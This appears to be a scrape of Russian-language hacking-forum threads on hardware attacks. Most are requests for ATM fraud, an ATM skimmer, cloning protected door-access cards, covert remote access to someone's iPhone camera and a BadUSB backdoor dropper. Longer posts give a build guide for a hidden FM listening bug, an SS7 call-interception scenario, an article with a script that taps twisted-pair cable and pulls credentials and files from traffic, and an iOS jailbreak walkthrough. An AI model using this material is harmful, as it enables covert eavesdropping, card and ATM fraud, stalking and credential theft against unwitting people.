Кто в курсе или занимался когда переадресацией OTP раздела чипа stm32,
в OTP лежит серийный номер прибора ,id процессора и закрытый ключ, прошивка весит 1 мб.

OTP раздел не перезаписываемый , нужно его переадресовать в другое место и сменить серийный номер, делают это 100 процентов, но информацией никто делится не хочет.

ATM-QR
ID: 676535aeb4103b69df373654
Thread ID: 52875
Created: 2021-06-12T19:52:52+0000
Last Post: 2021-06-12T19:52:52+0000
Author: HASTA
Replies: 0 Views: 838

ATM'den QR kod ile para çekerken ATM'yi kandırmak mümkün mü?

Шпионские штучки. DIY радиожучок для новичков. Как обнаружить FM жучок?
ID: 676535aeb4103b69df3735bc
Thread ID: 97040
Created: 2023-09-01T07:43:59+0000
Last Post: 2023-09-06T17:15:42+0000
Author: Knew100
Prefix: Статья
Replies: 9 Views: 834

Очень мало людей, используют традиционную радиосвязь.
Все технические устройства которые применяються для негласного получения, снятия и передачи информации мы будем называть просто: "жучок".
В данной статье, мы разберем:

Часть 1. Методику сборки самого простого "жучка" из дерьма и палок.
Проименовал его как устройство "Прослушка-1".
Для его сборки нам понадобяться такие радиоэлементы.
Для создания антенны(на схеме катушка L2):

1. Провод сечением 0.5 мм, 20-30 см;
2. Оправка диаметром 2мм.
Можно использовать зубочистку или обыкновенную спичку. Главное, дабы материал был диэлектриком(не проводил ток, говоря проще).
Мотать 70-80 витков.

Для создания самого передатчика, нам понадобиться:
1. Макетная плата(стеклотекстолитовая, размерами где то 40*20 мм, можно и больше, это на функциональность не влияет).
2. Дроссель, он же аксиальная индуктивность с параметрами 100nH(нано-Генри) 0.7A d-3 L-7 .3.
3. Транзистор n-p-n(биполярный) BFR93A.

Если не найдёте, можно заменить его на 2SC2351, NE85639R , MMBR911L.
Для прогульщиков физики, которые "не шарят", данная статья в помощь:
что такое биполярный транзистор?
4. Батерея CR2032(1 шт) с держателем.
5. Конденсатор на 1000 нФ(нано-Фарад, в магазинах пишут nF) и 4.7 пФ(пико- Фарад).
6. Монтажный провод(подойдёт любой).
7. Микрофон KPCM-6BP.

8. Любой светодиод на 3 вольта, не обязательно, ибо позволяет демаскировать
Приобрести детали можно на любом радиорынке или на сайтах онлайн- магазинов(включая ali, ebay), цена вопроса: 3-5 долларов.
Схема данной поделки такова:
_у тех у кого не отображаеться часть линий, т.е. дорожек: откройте изображение на весь экран.
1.jpg

Крепим на макетную плату элементы и соединяем их выводы согласно схемы.
Плюс микрофона подключён через 1000 нФ конденсатор!
Насчёт маскировки.
Прятать устройство желательно в какое либо нейтральное устройство/вещь, которая/которое визуально не примечательно.
Не рекомендуеться прятать подобные устройства в акустическую технику, а также в устройство с высоким уровнем электромагнитного излучения.
Приём сигнала возможен на любой радиоприёмник в режиме частотной модуляции(FM).
Частота подбираеться экспериментальным путём.
Длительность работы такого устройства составляет не менее 400 часов, ввиду маломощности данной схемы.
Если будут вопросы по сборке: welcome to ЛС, помогу бесплатно.
Но!
Если нет желания собирать подобную конструкцию самому "с нуля" и мотать катушку вручную(тот еще геммор), советую приобрести вот такой набор:
https://m.aliexpress.ru/item/33025436706.html
Собираеться за пару вечеров, в роли антенны здесь выступает обычный кабель припаянный одним кончиком к соотвествующему выводу(на плате обычно имеет обозначение "ANT").
Часть 2. Основные методики выявления прослушивающих устройств.
1. Визуальная инспекция
.
Тщательно осматриваем розетки, распределительные коробки, светильники, наличие посторонних предметов и устройств подключенных к электросети.
Для осмотра труднодоступных мест, можно использовать технический usb эндоскоп.
2. Приминение технических средств.
Перед такими проверками, включаем везде режим "в самолете" и отключаем все радиоустройства.
Самый простой: SDR.
Подключаем SDR к Android смартфону(через USB-OTG), устанавливаем приложение SDR touch и драйвер.
Открываем SDR touch и начинаем плавно менять частоту, путём выполнения свайпов экрана. Также смотрим на спектрограмму, там где есть передача, мы можем созерцать вот такую картину:

2.jpg

В обведенных красным местах, есть передача и нужно обязательно послушать что именно там вещаеться.
Подробнее про SDR здесь: http://sdrtouch.com/ .
Но иногда возможностей SDR недостаточно и тогда приходиться применять т.н. "нелинейные локаторы".
Помните! Они не разделяют электронику на подслушивающую и нет, они реагируют на компоненты электросхемы: полупроводники(а они есть в любых устройствах).
Локатор просто посылает зондирующий радиосигнал, то есть ВЧ (высокочастотную) волну, и проверяет наличие отраженных сигналов.
Если переизлученные сигналы будут обнаружены, значит в зоне излучения локатора имеется электроника с полупроводниковыми элементами.
Пользователю просто остается только проверить, не является ли эта электроника закладным устройством("жучком").
Для поиска "жучков", советую использовать локаторы, с частотами
2400Мгц — 3600Мгц, поиск лучше выполнять в непрерывном режиме(в импульсном режиме не всегда можно обнаружить устройство).

_

The Hardware Hacking Handbook 2022: Breaking Embedded Security with Hardware Attacks [2022]
ID: 676535aeb4103b69df3735dc
Thread ID: 64771
Created: 2022-03-24T18:12:05+0000
Last Post: 2023-05-30T13:11:50+0000
Author: camawe
Prefix: Мануал/Книга
Replies: 1 Views: 822

xss.jpeg

[ Hardware_Hacking_Handbook_Early_Release_1593278748.pdf - AnonFiles

](https://anonfiles.com/34W1D6Q8x7/Hardware_Hacking_Handbook_Early_Release_1593278748_pdf)

anonfiles.com anonfiles.com

взлом игрового автомата PRNG ?
ID: 676535aeb4103b69df3735fc
Thread ID: 78586
Created: 2022-12-22T10:03:43+0000
Last Post: 2023-01-09T18:25:26+0000
Author: Bazileu
Replies: 1 Views: 813

Здравствуйте, я недавно видел историю о том, как группа из Санкт-Петербурга мошенничала на игровых автоматах со своим телефоном. (снятие экрана, затем анализ спинов с помощью специального программного обеспечения, чтобы определить лучшее время для нажатия кнопки, чтобы выиграть).
История восходит к 2016 году, кто-нибудь знает, продается ли это программное обеспечение и где его можно найти? (извините за мой плохой русский, я использую онлайн-переводчик)

Обход металлодетектора
ID: 676535aeb4103b69df373582
Thread ID: 109333
Created: 2024-02-29T09:25:03+0000
Last Post: 2024-03-08T07:17:37+0000
Author: Wosch
Replies: 1 Views: 808

Доброго денька всем,
Есть версии каким образом возможно скрытие сигнала от ручного металлодетектора типа Garrett?
Спасибо за ваши размышления заранее/

wincor 2050xe
ID: 676535aeb4103b69df373608
Thread ID: 67119
Created: 2022-05-17T08:34:14+0000
Last Post: 2022-11-24T01:50:22+0000
Author: Panda Skup
Replies: 4 Views: 807

Ребята, всем привет, где находится USB порт у wincor 2050xe, а ещё лучше есть какая либо статья как его можно достать.

Электроника для начинающих. Самый простой пошаговый самоучитель. [2018]
ID: 676535aeb4103b69df373623
Thread ID: 63985
Created: 2022-03-08T13:22:26+0000
Last Post: 2022-03-08T13:22:26+0000
Author: camawe
Prefix: Мануал/Книга
Replies: 0 Views: 801

xss.jpeg

[ Электроника_для_начинающих_2018_Паоло_Аливерти.pdf - AnonFiles

](https://anonfiles.com/f0OcI2M7xf/_2018_pdf)

anonfiles.com anonfiles.com

Faraday Cases | Экранирующие чехлы
ID: 676535aeb4103b69df373642
Thread ID: 54534
Created: 2021-07-28T21:01:19+0000
Last Post: 2021-08-26T14:10:13+0000
Author: nosuitACE
Replies: 6 Views: 785

Привет, может ли кто-нибудь предложить хороший случай Фарадея или что-то подобное для блокировки всего отслеживания на мобильном устройстве? спасибо.

Прошивка для Flipper чтобы записывать защищенные сектрора на Mifare DESFire?
ID: 676535aeb4103b69df373560
Thread ID: 102230
Created: 2023-11-14T09:59:23+0000
Last Post: 2024-08-27T11:09:42+0000
Author: gd_2
Replies: 3 Views: 783

Есть карта Mifare DESFire NFC-A, флиппер ее распознал и записал. Но дверь не открывается, эмуляция не работает.
Исходя из документации, “Flipper Zero reads and saves unprotected applications and files”
То есть елси я правильно понимаю, на карте защищенный сектор и флиппер с дефолтной прошивкой его не читает. Есть способ это обойти? Альтернативная прошивка?

удаление металлического слоя с силиконовых микросхем с использованием хелатообразующих агентов
ID: 676535aeb4103b69df3735bf
Thread ID: 96667
Created: 2023-08-27T10:08:42+0000
Last Post: 2023-08-27T23:54:31+0000
Author: RodionRaskolnikov
Replies: 18 Views: 774

Несколько месяцев назад на мое рабочее место пришли пара старых микросхем, купленных по выгодной цене на местном мероприятии. В восторге я тут же поискал в интернете необходимое оборудование для работы с ними и был разочарован их астрономическими ценами.

www.ebay.com

Hund Metallurgical Toolmakers Inspection Microscope with 5MP Camera | eBay

Find many great new & used options and get the best deals for Hund Metallurgical Toolmakers Inspection Microscope with 5MP Camera at the best online prices at eBay! Free shipping for many products!

www.ebay.com

www.ebay.com

AmScope 40-500X Trinocular 2-light Polarized Metallurgical Microscope Photo Port 840979104237 | eBay

Find many great new & used options and get the best deals for AmScope 40-500X Trinocular 2-light Polarized Metallurgical Microscope Photo Port at the best online prices at eBay! Free shipping for many products!

www.ebay.com

Разочарованный, я быстро отправился в местную лабораторию арендовать металлографический микроскоп. Это было через долгое время, так что пришлось надеть перчатки и халат. Я не большой специалист в химии. Установил вытяжной шкаф. Почему? Скоро узнаете: я использовал довольно глупый метод, который вызвал выделение паров NO2. Осмотрев одну из микросхем, обнаружил, что её силиконовый слой был уже поврежден - кто-то до меня пытался с ней возиться и удалил металлический слой. Удаление было аккуратным, что радовало, но, видимо, с самим силиконом поступали не так бережно. Тем не менее, с оставшимися двумя микросхемами я начал, как обычно, с их очистки ацетоном. Затем необдуманно обработал их >90% азотной кислотой, и даже не раз. Как и следовало ожидать, структура силикона была повреждена её окислительными свойствами. Что интересно (об этом в университетских учебниках ничего не было), повреждения были особенно заметны в местах существующих дефектов, возможно, вызванных длительным хранением, упаковкой или логистикой. Одна из поврежденных микросхем, похоже, была окончательно уничтожена на этот раз.

После экспериментов с азотной кислотой, учитывая ее окислительные свойства и высокую скорость растворения меди, все испортилось, особенно в местах дефектов, как вы можете видеть.
obs_81_025.png

Для последней я решил попробовать слабые растворы для травления с хлоридом железа для медных слоев. Сразу же загуглил скорость травления меди при комнатной температуре. Черт, мне нужно было что-то более эффективное, и по какой-то причине это казалось мне неэффективным. Более того, я уже заметил, что начали образовываться какие-то остаточные металлические соли, что добавляло лишней работы с тщательной очисткой. Затем я перешел к соляной кислоте на той же микросхеме. Все шло нормально, возможно, это был лучший метод, с которым я столкнулся. Узнал об этом из блогов, где его часто используют. Но разве нет риска коррозии межметаллических диэлектриков? Ничего не нашел по этому поводу в Гугле. В любом случае, это не повлияет на меня, микросхемы были уже испорчены, главное — не повредить силиконовый слой. Конечно, я читал о использовании кипящей серной кислоты 95%, но это показалось мне безумием, особенно при такой высокой температуре. Полученные микросхемы уже имели много дефектов, трещин и прочего.

Недавно у меня возникла идея, и вопрос звучит так: кто-нибудь пробовал использовать хелатообразующее вещество вместе с некоторыми слабыми кислотами или основаниями? Может быть, 0,05М ЭДТА + 5% разбавленный уксус или 0,1М бикарбонат натрия? Хелатообразующее вещество (ЭДТА) может связываться с металлическими ионами и образовывать комплексные структуры, увеличивая растворимость в водных растворах. В сочетании со слабой кислотой или основанием это может помочь в растворении металлических слоев. Основная цель - не наносить сильный ущерб силикону.
images (1).png
Также можно подбирать ЭДТА на основе его сродства к определенным металлам. Я не особо знаком с работой с силиконовыми красителями и химией в целом. Спасибо.

Возможный сценарий перехвата переговоров немцев по Taurus, спойлер - через SS7
ID: 676535aeb4103b69df373581
Thread ID: 110182
Created: 2024-03-11T15:55:00+0000
Last Post: 2024-03-11T17:05:06+0000
Author: bratva
Prefix: GSM
Replies: 6 Views: 772
  1. Как уже было подтверждено разными источниками, перехват разговоров о Taurus был осуществлен через "незащищенные линии связи". Ниже мое (ресерчера) мнение о возможном варианте, как это могло быть выполнено, учитывая факты по ситуации и прошлую историю подобных перехватов со стороны России. В действительности атака осуществлялась перехватом через протокол SS7.

It has been confirmed that the #Taurus interception was done via “a non-secure line”. Below is my opinion of one way in which it might have been done, taking into account the situation and #Russia's previous history. Essentially it involves using #SS7 interception.

webex.jpeg
2) Для начала предположим, что перехваченный разговор был осуществлен с немецкого мобильного устройства в роуминге Сингапура. В сообщениях СМИ мы не увидим точной информации, что это было мобильное устройство. Поэтому мы можем предполагать, что это могло быть мобильное устройство или телефонная линия отеля (или вай-фай).

First step is that we assume the call intercepted was generated by a German mobile device, roaming into Singapore. In the press release we are not told for certain it was a mobile. So could have been a mobile or a hotel line (or wifi).

![www.theguardian.com](/proxy.php?image=https%3A%2F%2Fi.guim.co.uk%2Fimg%2Fmedia%2Fd93e856763eb7a105fb7c859545c933674075b77%2F0_0_4887_2931%2Fmaster%2F4887.jpg%3Fwidth%3D1200%26height%3D630%26quality%3D85%26auto%3Dformat%26fit%3Dcrop%26overlay- align%3Dbottom%252Cleft%26overlay-width%3D100p%26overlay- base64%3DL2ltZy9zdGF0aWMvb3ZlcmxheXMvdGctZGVmYXVsdC5wbmc%26enable%3Dupscale%26s%3D823da3617fd9726d35f363eab97f04e8&hash=67cd6559b3027da08c52b73774a0d204&return_error=1)

[ Individual error let Moscow intercept military call, Germany says

](https://www.theguardian.com/world/2024/mar/05/individual-error-let-moscow- intercept-military-call-germany-says)

One of the generals on conference call about Ukraine may used non-secure line to dial in, says defence minister

www.theguardian.com www.theguardian.com

pistorius.png
3) Как считает @RidT - немецкий генерал в Сингапуре был добавлен другим человеком в разговор, поэтому вряд ли это был звонок через вай-фай. Также сомнительно, что немецкий генерал использовал бы заграницей любой телефон, что оказался под рукой, включая какой-нибудь сомнительный телефон из отеля. Я думаю, что я бы сам в данном случае использовал личный мобильный телефон.

But as @RidT also states, this person gets added by another, so its probably not wifi. And if i'm a German general abroad, would i use my "handy" or a strange hotel phone? I think I would use my mobile.

ridt.png

  1. Дальше, если русские знали, что конкретно немецкое мобильное устройство представляет для них интерес, они должны были получить его номер. С использованием OSINT они могли получить MSISDN или с помощью местного IMSI кэтчера поймать IMSI. В новостях пишут, что мероприятие (https://www.singaporeairshow.com/) было "наводнено" агентами российской разведки.

Next, Russia would need to know the German roamer was a person of interest, and they need his number. OSINT could be used to get the MSISDN or a local IMSI catcher could obtain IMSI. News reports say the event was "riddled" with Russian intelligence.

![www.theguardian.com](/proxy.php?image=https%3A%2F%2Fi.guim.co.uk%2Fimg%2Fmedia%2Fd93e856763eb7a105fb7c859545c933674075b77%2F0_0_4887_2931%2Fmaster%2F4887.jpg%3Fwidth%3D1200%26height%3D630%26quality%3D85%26auto%3Dformat%26fit%3Dcrop%26overlay- align%3Dbottom%252Cleft%26overlay-width%3D100p%26overlay- base64%3DL2ltZy9zdGF0aWMvb3ZlcmxheXMvdGctZGVmYXVsdC5wbmc%26enable%3Dupscale%26s%3D823da3617fd9726d35f363eab97f04e8&hash=67cd6559b3027da08c52b73774a0d204&return_error=1)

[ Individual error let Moscow intercept military call, Germany says

](https://www.theguardian.com/world/2024/mar/05/individual-error-let-moscow- intercept-military-call-germany-says)

One of the generals on conference call about Ukraine may used non-secure line to dial in, says defence minister

www.theguardian.com www.theguardian.com

webex2.png

  1. Теперь к атаке, во-первых, русские могли изменить информацию с биллинга (адрес gsmSCF), установленную для немецкого мобильного устройства в сети Сингапура. Это могло быть осуществлено с помощью ISD команды в SS7 (с IMSI или MSISDN цели), с GT адреса в немецкой мобильной сети к GT, который ими контроллировался.

Now the attack. First, Russia would modify the billing platform info (gsmSCF address) stored for the German roamer, in the Singapore network. This is done via a SS7 ISD command (with target's IMSI or MSISDN), from a GT (address) in the German network to a GT they control.

  1. Сессия webex начинается и немецкое мобильное устройство пытается дозвониться до нее (или на внутренний номер, метод перехвата будет таким же). Однако, сингапурская сеть теперь отсылает запросы к русской биллинговой платформе через CAMEL IDP команду. Это для того, чтобы увидеть куда будет идти звонок.

The webex starts, and the German roamer attempts to dial to it (or to an interim number, the interception method is the same). However, the Singapore network now checks the Russian ‘billing platform’, via a CAMEL IDP command. This is to see whether the call should go ahead.

  1. Русская биллинговая платформа подтверждает, что звонок может быть продолжен, но также переадресован на другой номер. Этот номер будет являться номером прослушки русских, скорее всего PBX. Информация передается обратно в сингапурскую мобильную сеть в команде CAMEL CONNECT.

The Russian ‘billing platform’ says the call should go ahead, but also should be redirected to a different number. This number is a Russian listening device. most likely a PBX. This information is relayed back to Singapore network in a CAMEL CONNECT command.

  1. После этого звонок переадресовывается на прослушку/PBX к русским. На этой стадии инициируется новый звонок на номер конференции webex с подменой оригинального немецкого номера, отправленный на номер webex. Русский девайс начинает работать в режиме MITM и звонок записывается.

The call is then directed to the Russian PBX/listener. At this point, a new call is initiated to the webex conference number, with the original German mobile being spoofed, and is sent to the webex number. The Russian device then acts as a MITM and the call is recorded.

  1. Этот сценарий подтверждается тем, что немецкий генерал в Сингапуре - всегда первый человек, кого мы слышим. Он был представлен/добавлен в конференцию другим человеком. Поэтому запись могла осуществляться только через его звонок.

This matches was occurred as the German roamer to Singapore is the first person that we hear. They get intro-ed/added to the conference by another. The recording can only happen with his call.

  1. Второй момент, русские уже делали это ранее. Это напоминает метод, в котором Украина обвиняла Россию в 2014, и в результате, опубликовав эту запись, русские не «сожгли» никаких новых способов атаки.

2nd, Russia has reportedly done this before. This matches the method that Ukraine accused Russia of using in 2014 , as a result by publishing this new recording they would not have been 'burning' any secret hacks.

![www.wired.com](/proxy.php?image=https%3A%2F%2Fmedia.wired.com%2Fphotos%2F5927079ccfe0d93c47432219%2F191%3A100%2Fw_1280%2Cc_limit%2FCell- Network-Hack-01.jpg&hash=cb9654e194374bd779ce2023629f1a02&return_error=1)

[ The Critical Hole at the Heart of Our Cell Phone Networks

](https://www.wired.com/2016/04/the-critical-hole-at-the-heart-of-cell-phone- infrastructure/)

Reports show that hackers are taking advantage of problems with a backchannel in global telecommunications.

![www.wired.com](/proxy.php?image=https%3A%2F%2Fwww.wired.com%2Fverso%2Fstatic%2Fwired- us%2Fassets%2Ffavicon.ico&hash=b0f73b4acc2a0484609202d0048b283a&return_error=1) www.wired.com

  1. В конце концов, несмотря на то, что безопасность протокола SS7 значительно улучшилась с 2014, некоторые элементы старой атаки до сих пор актуальны. Например, атака на цель в роуминге имеет больший шанс успеха, чем атака на домашнего абонента.

Lastly, while SS7 security has improved greatly since then, some elements of this would have made it more likely to succeed. The targeting of an outbound roamer for example is more likely to succeed that a subscriber at home.

  1. Имеейте в виду, что это только один возможный сценарий того, как атака могла быть произведена, другие способы - такие как локальный перехват 3G/4G частот, используя обманные базовые станции тоже возможен, но и для их осуществления потребуется доступ к SS7. Перехват 2G тоже мог быть возможным, но с большими рисками, что атака могла быть обнаружена.

Note this is one possible way it could have happened, other methods like a local 3G/4G radio voice interception using Fake Base Stations are possible, but they would require a SS7 link. 2G radio interception may also be possible although more likely to be noticed.

Источник

Усиление Alfa Awus1900
ID: 676535aeb4103b69df3735ff
Thread ID: 78718
Created: 2022-12-24T22:04:38+0000
Last Post: 2022-12-27T06:05:20+0000
Author: loko
Prefix: WiFi
Replies: 3 Views: 771

Решил поиграться в вардрайвинг
купил себе Alfa Awus1900, у нее в комплекте 4 антенны по 5 dbi
работает неплохо, но я ожидал от нее большего

можно как-то усилить сигнал (прием-передачу)? сократить пинги до роутера? видел к ним в комплекте продают антенны по 9 dbi
смысл есть? оно того вообще стоит, докупать сразу 4 антенны?

вообще есть смысл гнаться за высоким dbi? ставить антенны итд? ведь роутер ближе ко мне не станет по расстроянию

друг посоветовал взять Wi-Fi бустер + направленную антенну, говорит, будет пушка
кто-то пробовал подвешивать к Awus1900 бустер?

hack Iphone cam
ID: 676535aeb4103b69df37361e
Thread ID: 63392
Created: 2022-02-23T11:46:25+0000
Last Post: 2022-05-12T15:43:43+0000
Author: Sapfir222
Replies: 10 Views: 765

Всем привет друзья, Хотел бы узнать есть возможность как то получить доступ к камере айфона дистанционно? Скажем так, физический доступ к айфону имею и могу сделать все что угодно, но через пару дней телефон от меня уйдет, поэтому хотелось бы узнать можно как то осуществить мой план? буду рад любым советам.
------------------------------------------------------------------------------------------------------------------------------------------------------------
Hello all friends, I would like to know if there is an opportunity to somehow access the iPhone camera remotely? Let 's just say I have physical access to the iPhone and can do anything, but in a couple of days the phone will leave me, so I would like to know how to implement my plan? I will be glad of any advice.

Как загрузить и запустить файл BadUsb Arduino Leonardo???
ID: 676535aeb4103b69df37364d
Thread ID: 54132
Created: 2021-07-18T13:45:02+0000
Last Post: 2021-07-19T14:55:26+0000
Author: fristailxxx
Replies: 6 Views: 761

У меня уже года так 2 лежит BadUsb без дела.
Могу ли я сделать так, чтобы я вставил флешку, из нее вышла программа exe`шная(мой бэкдор), и потом чтобы BadUsb ее запустила?
Дальше все делать будет этот exe на пк жертвы.

В ардуино я примерно уже 15 минут, и по этому не знаю что как тут можно, знаю что обьем данных в ардуино ограниченно, но если можно, то я жопу порву, но умещу свой бекдор в эти рамки!

Если есть другие способы это сделать, то дай бог вам здоровья, за любую инфу буду признателен!

Заранее спасибо.

atm gsm skimmer needed
ID: 676535aeb4103b69df373568
Thread ID: 115096
Created: 2024-05-22T01:49:02+0000
Last Post: 2024-07-22T13:02:32+0000
Author: samsonn
Replies: 1 Views: 753

dear sir/madam, I need any one that sell ATM GSM SKIMMER

Крококряк. Снимаем трафик с витой пары обычными «крокодилами»
ID: 676535aeb4103b69df3735eb
Thread ID: 85497
Created: 2023-04-08T18:25:40+0000
Last Post: 2023-04-08T18:39:32+0000
Author: baykal
Prefix: Статья
Replies: 2 Views: 742

Говорят, подслушивать нехорошо. Однако прослушивание сетевого трафика для многих не увлечение, а самая настоящая профессия. Почему‑то считается, что для этого требуется какое‑то специальное дорогостоящее оборудование, но я расскажу, как организовать прослушивание трафика в сети с помощью обычных клемм типа «крокодил».

Эта статья — часть серии публикаций о практических приемах взлома и атак с использованием подручных устройств, которые можно собрать дома. В этих материалах мы раскрываем простые способы получения несанкционированного доступа к защищенной информации и показываем, как ее оградить от подобных атак. Предыдущая статья серии: «Cold boot attack. Дампим оперативную память с помощью флешки».

Существует достаточно красивая по своей простоте и оригинальности атака, которая заключается в полудуплексном прослушивании трафика витой пары RJ45. Это означает, что прослушивается только половина трафика — либо входящий, либо исходящий.

Сниффинг витой пары — тема не новая, но она актуальна и по сей день из‑за чрезвычайной распространенности: несмотря на то что сейчас повсеместно используется «оптика», старая добрая витая пара по‑прежнему встречается почти в каждом подъезде или коридоре офисного здания. В жилых домах можно обнаружить такие провода, протянутые почти к каждой квартире. А порою это и вовсе выглядит примерно так.


Витая пара в незащищенном месте (подъезд)

Так что твой домашний трафик, как мы убедимся дальше, достаточно легко прослушать. Да и в современных офисах также часто можно встретить витую пару.


Витая пара в незащищенном месте (офис)

Иными словами, атака может быть реализована из помещения, где есть беспрепятственный доступ к проводам витой пары: коридора офисного здания или самого обычного подъезда.

Чаще всего витая пара встречается на «последней миле», непосредственно возле абонентских устройств. Но между домами, территориальными офисами компаний, то есть на протяженных расстояниях, скорее всего, будет использоваться оптика, поэтому целый дом, компанию или даже город, разумеется, так прослушать не удастся.

ТЕОРИЯ​

Провод RJ45 состоит из четырех отличающихся цветом пар жил. Каждая пара — это два провода, скрученные между собой.


Datasheet RJ45-коннектора

У каждой пары своя роль:

Входящий и исходящий сетевой трафик идет по определенной паре жил, а сами байты кодируются простым изменением характеристики электрического сигнала в них.

ОБОРУДОВАНИЕ​

Для реализации атаки нам потребуется обычная сетевая карта Ethernet и отрезок витой пары, состоящий всего из двух жил. Такой провод можно сделать самостоятельно, купив в специализированном магазине, либо модифицировать готовый патчкорд.

Нас будет интересовать только RX-пара (первая и вторая жилы), реализованная в форме обычного RJ45-коннектора, как представлено на следующем рисунке.


Datasheet провода атакующего

С обратной стороны первую и вторую жилу соединяем с самыми обычными крокодильчиками. В итоге получается провод, продемонстрированный на следующем рисунке.


Провод атакующего

В данном случае белый крокодильчик — положительный контакт, а черный — отрицательный. Этот модифицированный провод мы подключим напрямую к сетевой карте атакующего.

ЭКСПЛУАТАЦИЯ​

Само прослушивание трафика реализуется подключением этих самых крокодильчиков либо к оранжевой, либо к зеленой паре, как показано на следующем рисунке.


Подключение к витой паре

Внешний корпус провода, к которому мы подключаемся, слегка разрезаем канцелярским ножом. Мы режем вдоль жил, так что жилы при этом не пострадают. Непосредственно с самих жил изоляцию снимать не нужно, достаточно слегка сжать крокодильчики, и они сами продавят изоляцию в местах контакта.

Давим до тех пор, пока на сниффере сетевой карты, куда мы подключили обратный конец нашего провода, не отобразятся пакеты, как показано на следующем рисунке.


Сниффинг трафика с помощьюtcpdump

Здесь мы для большей зрелищности атаки проводим ее с телефона под управлением Android. Некоторые внешние сетевые карты могут автоматически опознаваться Android, так что от тебя не потребуется никаких действий, кроме разве что наличия прав root. На следующем рисунке показано, как такая атака может выглядеть на стенде.


Стенд

Телефон успешно снимает трафик, идущий от одного ноутбука к другому (только в одну сторону). При этом факт прослушки никак не выявить, поскольку никаких дополнительных хопов (traceroute) между ноутбуками не появляется. Воспользуемся утилитами, которые извлекают из трафика учетные записи и загружаемые файлы:

rj45/sniff.sh​

Code:Copy to clipboard

#!/bin/bash

sudo ethtool -s eth0 speed 100 duplex half autoneg off

sudo ethtool eth0 | grep Speed

sleep 1

dumpfile=out-$(date +'%H:%M:%S_%d.%m.%Y').pcap

sudo tcpdump -i eth0 -nn -w $dumpfile &

tcpdump=$!

tmux new-session -d -s rj45 'sudo tcpdump -i eth0 -nn'

tmux split-window -v -t rj45 'sudo /opt/net-creds/net-creds.py -i eth0'

tmux split-window -v -t rj45 'sudo tcpxtract -d eth0'

tmux a -t rj45

sudo kill $tcpdump

ls -lh $dumpfile

Этот скрипт не только сохранит трафик в файл для последующего анализа, но и удобно поделит экран телефона на три области, в каждой из которых мы увидим соответствующую информацию, как показано на следующем рисунке.


Извлекаем секреты

Первая треть экрана показывает прослушиваемую половину трафика с помощью tcpdump. Вторая треть — это утилита net-creds, извлекающая учетные данные из трафика. И, на минуточку, тут мы извлекли NetNTLM-хеш в момент подключения компа к сетевому диску простыми крокодильчиками! Последняя треть экрана — это tcpxtract, просто извлекающий файлы по сигнатурам вне зависимости от протокола передачи данных. И в данном случае при скачивании картинки по FTP наш телефон успешно сохранил ее.

В ходе демонстрации ни один домашний или корпоративный интернет не пострадал. Но мы, конечно же, понимаем, с какой легкостью тестовые компоненты нашего стенда могут быть заменены реальными целями.

Стоит отметить, что подобный сниффинг возможен только на подключении со скоростью 10 или 100 Мбит/с, когда задействованы четыре жилы (оранжевые и зеленые пары) — четырехжильный провод. С восьмижильным проводом данные передаются иначе (со скоростью 1000 Мбит/с). Однако даже если в проводе есть все восемь жил, часто сетевые карты не согласуются в режим 1000 Мбит/с. Например, на рисунке выше, где длина провода составляет всего пару метров и все восемь жил в наличии, сетевые карты продолжают работать в уязвимом для прослушки режиме 100 Мбит/c.

Если же перед нами витая пара с активным подключением 1000 Мбит/с, прослушивать трафик двумя крокодильчиками становится невозможно. Однако опытным путем было установлено, что если перерезать одну из дополнительных пар жил, которые нужны, чтобы обеспечивать скорость в 1000 Мбит/с (синюю или коричневую), то через несколько секунд произойдет автоматический даунгрейд к 100 Мбит/с, и мы вновь сможем подключать крокодильчики и прослушивать трафик.

Некоторые компании в своих сетях часто используют PoE для питания IP-телефонов по витой паре, для этого задействованы те самые дополнительные жилы (синяя и коричневая). Из‑за этого подключение на скорости 1000 Мбит/с в такой сети невозможно.

Продемонстрированная атака — это пассивное прослушивание трафика на лету без его модификации. Попытки же активного вмешательства в передаваемый трафик и, например, атака SSLsplit (подмена сертификата) тоже возможна, но потребует от атакующего достаточной ловкости рук, чтобы очень быстро разрезать провод, обжать его с двух сторон, а потом уже вклиниться посередине. Но такой способ достаточно «грязный» и бесхитростный, так что мы его не рассматриваем.

Описанный же метод с крокодильчиками тоже нельзя назвать идеально «чистым», поскольку мы все же разрезаем, пусть и слегка, внешнюю защиту витой пары. Хотя это никак не сказывается на функционировании провода и никаких обрывов соединения при грамотном исполнении этой манипуляции не случается.

ВЫВОДЫ​

Опасность подобного пассивного прослушивания трафика сильно снижается в эпоху повсеместного использования SSL/TLS. Тем не менее ряд протоколов по‑прежнему использует открытую аутентификацию — это и всем известные сетевые диски, и FTP, и HTTP-Basic-аутентификация на прокси, и многое другое. И все это часто встречается в корпоративных сетях.

Поэтому стоит уделять внимание качественной прокладке кабеля. В случае если мы имеем дело с компаниями, недопустимо размещать открытые провода в неконтролируемом месте. Также нелишним было бы использовать короба, кабель‑каналы или скрытую прокладку кабеля.

Автор @s0i37

Jailbreak iOS
ID: 676535aeb4103b69df3735e4
Thread ID: 86330
Created: 2023-04-20T19:21:40+0000
Last Post: 2023-05-05T12:18:45+0000
Author: the fraud
Prefix: Статья
Replies: 1 Views: 741

Приветствую! Сегодня поговорим о джейле iOS, репозиториях и работе девайсов под управлением Checkra1n.

Итак, нам необходим девайс с поддержкой iOS 14 на устройствах A9(X) и ниже. В моем случае это iPhone 7 с iOS 14.4.2, джейл устройства делаю на Windows.
1.png

iOS 14.4.2 (iPhone 7)

  1. Скачиваем Checkra1n, зип содержит в себе Rufus, далее записываем образ на USB-флеш-накопитель.

  2. После того, как записали образ нам необходимо отключить Find My iPhone и Passcode в настройках нашего девайса.

3.png
Find My iPhone

Passcode
3) Подключаем устройство кабелем к ПК, используем кабель USB - Lightning, USB Type-C - Lightning не подойдет! После перезагружаем ПК, вызываем boot menu, выбираем наш накопитель и грузимся.

Переводим устройсвто в режим DFU и нажимаем старт.

4.png
5.png
checkra1n
Далее будет следующее окно с пояснением о зажатии сочетаний клавиш взависимости от модели Вашего девайса

6.png
checkra1n
Тут хочется отметить, что придется найти тайминги, конкретно в моем случае на iPhone 7 я зажимаю данное сочетание клавиш, начинается таймер первых 4 секунд, далее идет отсчет 10 и только на 4 секунде до конца я отпускаю Side button и Volume down, после чего наблюдаю эксплойт.

7.png
exploit
4) После окончания джейла перед нами рабочий стол с лоадером Checkra1n, открываем лоадер и устанавливаем Cydia.

8.png
checkra1n loader
